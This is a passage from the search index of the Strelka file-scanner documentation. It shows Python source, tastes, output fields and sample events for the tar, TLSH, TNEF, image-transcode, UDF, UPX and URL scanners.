Source Filetype Include / Excludeapplication/x-shockwave-flash cws_file fws_file zws_file"},{"location":"Scanners/ScanSwf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanSwf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner swf
"},{"location":"Scanners/ScanTar.html","title":"ScanTar","text":"Extract files from tar archives.
Optionslimit: Maximum number of files to extract. Defaults to 1000.
Source code instrelka/src/python/strelka/scanners/scan_tar.py class ScanTar(strelka.Scanner):\n \"\"\"Extract files from tar archives.\n\n Options:\n limit: Maximum number of files to extract.\n Defaults to 1000.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 1000)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n\n with io.BytesIO(data) as tar_io:\n try:\n with tarfile.open(fileobj=tar_io) as tar_obj:\n tar_members = tar_obj.getmembers()\n for tar_member in tar_members:\n if not tar_member.isdir():\n self.event[\"total\"][\"files\"] += 1\n for tar_member in tar_members:\n if tar_member.isfile():\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n break\n\n try:\n tar_file = tar_obj.extractfile(tar_member)\n if tar_file is not None:\n # Send extracted file back to Strelka\n self.emit_file(\n tar_file.read(), name=tar_member.name\n )\n\n self.event[\"total\"][\"extracted\"] += 1\n\n except KeyError:\n self.flags.append(\"key_error\")\n\n except tarfile.ReadError:\n self.flags.append(\"tarfile_read_error\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanTar.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/x-tar tar_file"},{"location":"Scanners/ScanTar.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list total dict total.extracted int total.files int"},{"location":"Scanners/ScanTar.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 4, \"extracted\": 4},\n }\nCompare file against a list of TLSH values. Output from this scanner implies matched file has TLSH value lower than defined threshold indicating a possible similar file to a known file. (e.g., Malware family)
Attributes:
Name Type Descriptiontlsh_rules Dictionary of TLSH hashes and their associated families
Optionslocation: Location of the TLSH rules file. Defaults to '/etc/tlsh'. score: TLSH diff score. Defaults to 30.
Source code instrelka/src/python/strelka/scanners/scan_tlsh.py class ScanTlsh(strelka.Scanner):\n \"\"\"Compare file against a list of TLSH values.\n Output from this scanner implies matched file\n has TLSH value lower than defined threshold\n indicating a possible similar file to a known\n file. (e.g., Malware family)\n\n Attributes:\n tlsh_rules: Dictionary of TLSH hashes and their associated families\n\n Options:\n location: Location of the TLSH rules file.\n Defaults to '/etc/tlsh'.\n score: TLSH diff score.\n Defaults to 30.\n \"\"\"\n\n def init(self):\n self.tlsh_rules = None\n\n def scan(self, data, file, options, expire_at):\n # Get the location of the TLSH rule files and the score threshold\n location = options.get(\"location\", \"/etc/strelka/tlsh/\")\n score_threshold = options.get(\"score\", 30)\n\n # Hash the data\n tlsh_file = tlsh.hash(data)\n\n # If the hash is \"TNULL\", add a flag and return\n if tlsh_file == \"TNULL\":\n return\n\n try:\n # If the TLSH rules have not been loaded yet, load them from the specified location\n if self.tlsh_rules is None:\n if os.path.isdir(location):\n self.tlsh_rules = {}\n # Load all YAML files in the directory recursively\n for filepath in glob.iglob(f\"{location}/**/*.yaml\", recursive=True):\n with open(filepath, \"r\") as tlsh_rules:\n try:\n self.tlsh_rules.update(\n yaml.safe_load(tlsh_rules.read())\n )\n except yaml.YAMLError:\n self.flags.append(f\"yaml_error: {filepath}\")\n return\n elif os.path.isfile(location):\n with open(location, \"r\") as tlsh_rules:\n self.tlsh_rules = yaml.safe_load(tlsh_rules.read())\n else:\n self.flags.append(\"tlsh_location_not_found\")\n except FileNotFoundError:\n self.flags.append(\"tlsh_files_not_found\")\n\n # Initialize variables to store the family, score, and matched TLSH hash\n this_family = None\n this_score = score_threshold\n matched_tlsh_hash = None\n\n # Iterate over the TLSH rule hashes\n for family, tlsh_hashes in self.tlsh_rules.items():\n for tlsh_hash in tlsh_hashes:\n try:\n # Calculate the difference score between the file hash and the rule hash\n score = tlsh.diff(tlsh_file, tlsh_hash)\n except ValueError:\n self.flags.append(f\"bad_tlsh: {tlsh_hash}\")\n continue\n if score < score_threshold:\n # If the score is less than the threshold, update matches\n if score <= this_score:\n this_family = family\n this_score = score\n matched_tlsh_hash = tlsh_hash\n\n if this_family:\n self.event[\"match\"] = {\n \"family\": this_family,\n \"score\": this_score,\n \"tlsh\": matched_tlsh_hash,\n }\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanTlsh.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Exclude*"},{"location":"Scanners/ScanTlsh.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list match dict match.family str match.score int match.tlsh str"},{"location":"Scanners/ScanTlsh.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"match\": {\n \"family\": \"TestMatchA\",\n \"score\": 0,\n \"tlsh\": \"T120957D477C8041A6C0AA9336896652D17B30BC991F2127D32F60F7F92F367E85E7931A\",\n },\n \"flags\": [],\n }\nCollects metadata and extract files from TNEF files.
Source code instrelka/src/python/strelka/scanners/scan_tnef.py class ScanTnef(strelka.Scanner):\n \"\"\"Collects metadata and extract files from TNEF files.\"\"\"\n\n def scan(self, data, file, options, expire_at):\n self.event[\"total\"] = {\"attachments\": 0, \"extracted\": 0}\n self.event.setdefault(\"object_names\", [])\n\n tnef = tnefparse.TNEF(data)\n tnef_objects = getattr(tnef, \"objects\", [])\n for tnef_object in tnef_objects:\n descriptive_name = tnefparse.TNEF.codes.get(tnef_object.name)\n if descriptive_name not in self.event[\"object_names\"]:\n self.event[\"object_names\"].append(descriptive_name)\n\n try:\n object_data = tnef_object.data.strip(b\"\\0\") or None\n except strelka.ScannerTimeout:\n raise\n except Exception:\n object_data = tnef_object.data\n\n if object_data is not None:\n if descriptive_name == \"Subject\":\n self.event[\"subject\"] = object_data\n elif descriptive_name == \"Message ID\":\n self.event[\"message_id\"] = object_data\n elif descriptive_name == \"Message Class\":\n self.event[\"message_class\"] = object_data\n\n tnef_attachments = getattr(tnef, \"attachments\", [])\n self.event[\"total\"][\"attachments\"] = len(tnef_attachments)\n for attachment in tnef_attachments:\n # Send extracted file back to Strelka\n self.emit_file(attachment.data, name=attachment.name.decode())\n\n self.event[\"total\"][\"extracted\"] += 1\n\n tnef_html = getattr(tnef, \"htmlbody\", None)\n if tnef_html:\n # Send extracted file back to Strelka\n self.emit_file(tnef_html, name=\"htmlbody\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanTnef.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeapplication/vnd.ms-tnef tnef_file"},{"location":"Scanners/ScanTnef.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Failure
No fields to display. The test file may not exist or could not be processed.
"},{"location":"Scanners/ScanTnef.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
Failure
Test file not found for scanner tnef
"},{"location":"Scanners/ScanTranscode.html","title":"ScanTranscode","text":"Converts supported images for easier scanning
Typical supported output options: gif webp jpeg bmp png tiff
Source code instrelka/src/python/strelka/scanners/scan_transcode.py class ScanTranscode(strelka.Scanner):\n \"\"\"\n Converts supported images for easier scanning\n\n Typical supported output options:\n gif webp jpeg bmp png tiff\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n output_format = options.get(\"output_format\", \"jpeg\")\n\n def convert(im):\n with io.BytesIO() as f:\n im.save(f, format=f\"{output_format}\", quality=90)\n return f.getvalue()\n\n try:\n converted_image = convert(Image.open(io.BytesIO(data)))\n\n # Send extracted file back to Strelka\n self.emit_file(converted_image, name=file.name)\n except UnidentifiedImageError:\n self.flags.append(\"unidentified_image\")\n return\n\n self.flags.append(\"transcoded\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanTranscode.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeimage/avif image/heic image/heif"},{"location":"Scanners/ScanTranscode.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanTranscode.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"transcoded\"]}\nExtracts files from UDF images
Source code instrelka/src/python/strelka/scanners/scan_udf.py class ScanUdf(strelka.Scanner):\n \"\"\"Extracts files from UDF images\"\"\"\n\n EXCLUDED_ROOT_DIRS = [\"[SYSTEM]\"]\n\n def scan(self, data, file, options, expire_at):\n file_limit = options.get(\"limit\", 100)\n tmp_directory = options.get(\"tmp_file_directory\", \"/tmp/\")\n scanner_timeout = options.get(\"scanner_timeout\", 150)\n\n self.event[\"total\"] = {\"files\": 0, \"extracted\": 0}\n self.event[\"files\"] = []\n self.event[\"hidden_dirs\"] = []\n self.event[\"meta\"] = {}\n\n try:\n self.extract_7zip(\n data, tmp_directory, scanner_timeout, expire_at, file_limit\n )\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"vhd_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"vhd_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"vhd_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_file_upload_error\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_output_error\")\n return\n\n def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n\n except Exception:\n self.flags.append(\"vhd_7zip_parse_error\")\n return\n\n def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(\n extracted_file.read(), name=os.path.basename(extracted_file.name)\n )\nextract_7zip(data, tmp_dir, scanner_timeout, expire_at, file_limit)","text":"Decompress input file to /tmp with 7zz, send files to coordinator
Source code instrelka/src/python/strelka/scanners/scan_udf.py def extract_7zip(self, data, tmp_dir, scanner_timeout, expire_at, file_limit):\n \"\"\"Decompress input file to /tmp with 7zz, send files to coordinator\"\"\"\n\n # Check if 7zip package is installed\n if not shutil.which(\"7zz\"):\n self.flags.append(\"vhd_7zip_not_installed_error\")\n return\n\n with tempfile.NamedTemporaryFile(dir=tmp_dir, mode=\"wb\") as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n tmp_data.seek(0)\n\n if not tmp_data:\n self.flags.append(\"vhd_7zip_tmp_error\")\n return\n\n try:\n with tempfile.TemporaryDirectory() as tmp_extract:\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"x\", tmp_data.name, f\"-o{tmp_extract}\"],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_process_error\")\n\n def get_all_items(root, exclude=None):\n \"\"\"Iterates through filesystem paths\"\"\"\n if exclude is None:\n exclude = []\n for item in root.iterdir():\n if item.name in exclude:\n continue\n yield item\n if item.is_dir():\n yield from get_all_items(item)\n\n # Iterate over extracted files, except excluded paths\n for name in get_all_items(\n pathlib.Path(tmp_extract), self.EXCLUDED_ROOT_DIRS\n ):\n if not name.is_file():\n continue\n\n if self.event[\"total\"][\"extracted\"] >= file_limit:\n self.flags.append(\"vhd_file_limit_error\")\n break\n\n try:\n relname = os.path.relpath(name, tmp_extract)\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(extracted_file.read(), name=relname)\n\n self.event[\"total\"][\"extracted\"] += 1\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_file_upload_error\")\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_extract_error\")\n\n try:\n (stdout, stderr) = subprocess.Popen(\n [\"7zz\", \"l\", tmp_data.name],\n stdout=subprocess.PIPE,\n stderr=subprocess.DEVNULL,\n ).communicate(timeout=scanner_timeout)\n\n self.parse_7zip_stdout(stdout.decode(\"utf-8\"), file_limit)\n\n except strelka.ScannerTimeout:\n raise\n except Exception:\n self.flags.append(\"vhd_7zip_output_error\")\n return\nparse_7zip_stdout(output_7zip, file_limit)","text":"Parse 7zz output, create metadata
Source code instrelka/src/python/strelka/scanners/scan_udf.py def parse_7zip_stdout(self, output_7zip, file_limit):\n \"\"\"Parse 7zz output, create metadata\"\"\"\n\n mode = None\n\n try:\n output_lines = output_7zip.splitlines()\n\n # 7-Zip (z) 23.01 (x64) : Copyright (c) 1999-2021 Igor Pavlov : 2021-12-26\n regex_7zip_version = re.compile(r\"^7-Zip[^\\d]+(\\d+\\.\\d+)\")\n\n # --/----\n regex_mode_properties = re.compile(r\"^(--|----)$\")\n\n # Comment =\n regex_property = re.compile(r\"^(.+) = (.+)$\")\n\n # Date Time Attr Size Compressed Name\n regex_mode_files = re.compile(\n r\"\\s+Date\\s+Time\\s+Attr\\s+Size\\s+Compressed\\s+Name\"\n )\n\n # 2022-12-05 17:23:59 ....A 100656 102400 lorem.txt\n regex_file = re.compile(\n r\"(?P<datetime>\\d+-\\d+-\\d+\\s\\d+:\\d+:\\d+)\\s+(?P<modes>[A-Z.]{5})(?:\\s+(?P<size>\\d+))?(?:\\s+(?P<compressed>\\d+))?\\s+(?P<name>.+)\"\n )\n\n def parse_file_modes(file_modes):\n file_mode_list = []\n\n for file_mode in file_modes:\n if file_mode == \"D\":\n file_mode_list.append(\"directory\")\n elif file_mode == \"R\":\n file_mode_list.append(\"readonly\")\n elif file_mode == \"H\":\n file_mode_list.append(\"hidden\")\n elif file_mode == \"S\":\n file_mode_list.append(\"system\")\n elif file_mode == \"A\":\n file_mode_list.append(\"archivable\")\n\n return file_mode_list\n\n partition = {}\n\n for output_line in output_lines:\n if output_line:\n # Properties section\n match = regex_mode_properties.match(output_line)\n if match:\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"properties\"\n\n # File section\n match = regex_mode_files.match(output_line)\n if match:\n # Wrap up final partition\n if \"path\" in partition.keys():\n if not self.event.get(\"meta\", {}).get(\"partitions\", []):\n self.event[\"meta\"][\"partitions\"] = []\n self.event[\"meta\"][\"partitions\"].append(partition)\n partition = {}\n mode = \"files\"\n\n # Header section\n if not mode:\n match = regex_7zip_version.match(output_line)\n if match:\n version = regex_7zip_version.match(output_line).group(1)\n self.event[\"meta\"][\"7zip_version\"] = version\n\n continue\n\n elif mode == \"properties\":\n # Collect specific properties\n match = regex_property.match(output_line)\n if match:\n if match.group(1) == \"Label\":\n partition[\"label\"] = match.group(2)\n elif match.group(1) == \"Path\":\n partition[\"path\"] = match.group(2)\n elif match.group(1) == \"Type\":\n partition[\"type\"] = match.group(2)\n elif match.group(1) == \"Created\":\n partition[\"created\"] = match.group(2)\n elif match.group(1) == \"Creator Application\":\n partition[\"creator_application\"] = match.group(2)\n elif match.group(1) == \"File System\":\n partition[\"file_system\"] = match.group(2)\n\n elif mode == \"files\":\n match = regex_file.match(output_line)\n if match:\n modes_list = parse_file_modes(match.group(\"modes\"))\n\n # Skip excluded paths\n if (\n os.path.normpath(match.group(\"name\")).split(\n os.path.sep\n )[0]\n in self.EXCLUDED_ROOT_DIRS\n ):\n continue\n\n # Matching ScanIso, collecting hidden directories separately\n if \"hidden\" in modes_list and \"directory\" in modes_list:\n self.event[\"hidden_dirs\"].append(match.group(\"name\"))\n\n if \"directory\" not in modes_list:\n self.event[\"total\"][\"files\"] += 1\n self.event[\"files\"].append(\n {\n \"filename\": match.group(\"name\"),\n \"size\": match.group(\"size\"),\n \"datetime\": match.group(\"datetime\"),\n }\n )\n\n except Exception:\n self.flags.append(\"vhd_7zip_parse_error\")\n return\nupload(name, expire_at)","text":"Send extracted file to coordinator
Source code instrelka/src/python/strelka/scanners/scan_udf.py def upload(self, name, expire_at):\n \"\"\"Send extracted file to coordinator\"\"\"\n with open(name, \"rb\") as extracted_file:\n # Send extracted file back to Strelka\n self.emit_file(\n extracted_file.read(), name=os.path.basename(extracted_file.name)\n )\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanUdf.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeudf_file"},{"location":"Scanners/ScanUdf.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str files list files.datetime str files.filename str files.size str flags list hidden_dirs list meta dict meta.7zip_version str meta.partitions list meta.partitions.created str meta.partitions.path str meta.partitions.type str total dict total.extracted int total.files int"},{"location":"Scanners/ScanUdf.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\n \"elapsed\": 0.001,\n \"flags\": [],\n \"total\": {\"files\": 1, \"extracted\": 1},\n \"files\": [\n {\n \"filename\": \"lorem.txt\",\n \"size\": \"4015\",\n \"datetime\": \"2022-12-12 03:12:55\",\n },\n ],\n \"hidden_dirs\": [],\n \"meta\": {\n \"7zip_version\": \"23.01\",\n \"partitions\": [\n {\n \"path\": 0.001,\n \"type\": \"Udf\",\n \"created\": 0.001,\n },\n ],\n },\n }\nDecompresses UPX packed files.
Optionstmp_directory: Location where tempfile writes temporary files. Defaults to '/tmp/'.
Source code instrelka/src/python/strelka/scanners/scan_upx.py class ScanUpx(strelka.Scanner):\n \"\"\"Decompresses UPX packed files.\n\n Options:\n tmp_directory: Location where tempfile writes temporary files.\n Defaults to '/tmp/'.\n \"\"\"\n\n def scan(self, data, file, options, expire_at):\n tmp_directory = options.get(\"tmp_directory\", \"/tmp/\")\n\n with tempfile.NamedTemporaryFile(dir=tmp_directory) as tmp_data:\n tmp_data.write(data)\n tmp_data.flush()\n\n upx_return = subprocess.call(\n [\"upx\", \"-d\", tmp_data.name, \"-o\", f\"{tmp_data.name}_upx\"],\n stdout=subprocess.DEVNULL,\n stderr=subprocess.DEVNULL,\n )\n if upx_return == 0:\n with open(f\"{tmp_data.name}_upx\", \"rb\") as upx_fin:\n upx_file = upx_fin.read()\n upx_size = len(upx_file)\n if upx_size > len(data):\n self.flags.append(\"upx_packed\")\n\n # Send extracted file back to Strelka\n self.emit_file(upx_file)\n\n os.remove(f\"{tmp_data.name}_upx\")\n\n else:\n self.flags.append(f\"return_code_{upx_return}\")\nThe features of this scanner are detailed below. These features represent the capabilities and the type of analysis the scanner can perform. This may include support for Indicators of Compromise (IOC), the ability to emit files for further analysis, and the presence of extended documentation for complex analysis techniques.
Feature SupportIOC Support Emit Files Extended Docs Malware Scanner Image Thumbnails"},{"location":"Scanners/ScanUpx.html#tastes","title":"Tastes","text":"Strelka's file distribution system assigns scanners to files based on 'flavors' and 'tastes'. Flavors describe the type of file, typically determined by MIME types from libmagic, matches from YARA rules, or characteristics of parent files. Tastes are the criteria used within Strelka to determine which scanners are applied to which files, with positive and negative tastes defining files to be included or excluded respectively.
Source Filetype Include / Excludeupx_file"},{"location":"Scanners/ScanUpx.html#scanner-fields","title":"Scanner Fields","text":"This section provides a list of fields that are extracted from the files processed by this scanner. These fields include the data elements that the scanner extracts from each file, representing the analytical results produced by the scanner. If the test file is missing or cannot be parsed, this section will not contain any data.
Field Name Field Typeelapsed str flags list"},{"location":"Scanners/ScanUpx.html#sample-event","title":"Sample Event","text":"Below is a sample event generated by this scanner, demonstrating the kind of output that can be expected when it processes a file. This sample is derived from a mock scan event configured in the scanner's test file. If no test file is available, this section will not display a sample event.
test_scan_event = {\"elapsed\": 0.001, \"flags\": [\"upx_packed\"]}\nCollects URLs from files.
Uses regular expressions (regex) to parse URLs from file data. Multiple regexes are supported through the 'regex' option. The default URL regex is derived from these resources: https://mathiasbynens.be/demo/url-regex https://data.iana.org/TLD/tlds-alpha-by-domain.txt
Attributes:
Name Type Descriptionregexes Dictionary of compiled regexes used by the scanner. This includes a default regex that is widely scoped.
